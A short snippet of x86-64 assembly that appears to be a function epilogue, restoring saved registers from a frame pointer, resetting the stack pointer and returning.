mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret